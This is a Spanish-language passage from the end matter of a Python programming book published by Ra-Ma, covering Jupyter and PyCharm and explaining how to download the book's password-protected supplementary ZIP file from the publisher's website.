Ingrese a la siguiente URL para descargar:https://jupyter.org/

NOTAS

En mi experiencia estos dos entornos de desarrollo se pueden complementar Jupyter para el análisis de datos y PyCharm para automatización de procesos.

MATERIAL ADICIONAL

El material adicional de este libro puede descargarlo en nuestro portal web: *http://www.ra-ma.es*.

Debe dirigirse a la ficha correspondiente a esta obra, dentro de la ficha encontrará el enlace para poder realizar la descarga. Dicha descarga consiste en un fichero ZIP con una contraseña de este tipo: XXX-XX-XXXX-XXX-X la cual se corresponde con el ISBN de este libro.

Podrá localizar el número de ISBN en la página IV (página de créditos). Para su correcta descompresión deberá introducir los dígitos y los guiones.

Cuando descomprima el fichero obtendrá los archivos que complementan al libro para que pueda continuar con su aprendizaje.

INFORMACIÓN ADICIONAL Y GARANTÍA

- RA-MA EDITORIAL garantiza que estos contenidos han sido sometidos a un riguroso control de calidad.
- Los archivos están libres de virus, para comprobarlo se han utilizado las últimas versiones de los antivirus líderes en el mercado.
- RA-MA EDITORIAL no se hace responsable de cualquier pérdida, daño o costes provocados por el uso incorrecto del contenido descargable.
- Este material es gratuito y se distribuye como contenido complementario al libro que ha adquirido, por lo que queda terminantemente prohibida su venta o distribución.

Python

Aplicaciones prácticas

Desde **www.ra-ma.es** podrá descargar material adicional.

Jorge Santiago Nolasco Valenzuela

Ra-Ma®